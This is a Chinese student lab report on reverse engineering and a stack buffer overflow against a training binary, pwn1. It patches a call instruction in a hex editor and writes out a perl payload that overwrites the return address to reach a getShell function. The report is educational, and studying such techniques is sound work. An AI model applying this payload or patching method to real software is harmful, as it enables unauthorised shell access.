您的位置:首页 > 理论基础 > 计算机网络

20145213《网络对抗》逆向及Bof基础

2017-03-05 16:22 169 查看

实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。

实践要求

掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(1分)

掌握反汇编与十六进制编程器 (1分)

能正确修改机器指令改变程序执行流程(1分)

能正确构造payload进行bof攻击(2分)

Optional:进阶,shellcode编程与注入

实践两种方法

1.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

2.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

基础知识

NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)

JNE:条件转移指令,如果不相等则跳转。(机器码:75)

JE:条件转移指令,如果相等则跳转。(机器码:74)

JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)

CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

实验步骤

实验1、直接修改程序机器指令,改变程序执行流程

1.输入指令
objdump -d 20145221 | more








2.输入指令
vi 20145221
,用vim编辑器查看可执行文件20145221



3.输入指令
:%! xxd
,进入vi编辑模式后,发现乱码,键入前述指令查看其16进制表示



4.输入指令
:\e8 d7
查询,输入r进入编辑

5.很重要,先输入指令
%!xxd -r
退出16进制后,再输入指令
:wq
保存退出





6.输入指令
./20145213
运行程序



实验2:通过构造输入参数,造成BOF攻击,改变程序执行流

1.了解函数功能,即输入一串字符输出同样的字符



缓存区溢出,造成错误



2.
gdb
指令调试



3.构造一串特殊的输入,输出
perl -e 'print "12345678123456781234567812345678\x7d\x84\x04\x08\x0a"' > input




4.输入指令
(cat input; cat) | ./20145213
,将input文件作为输入

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: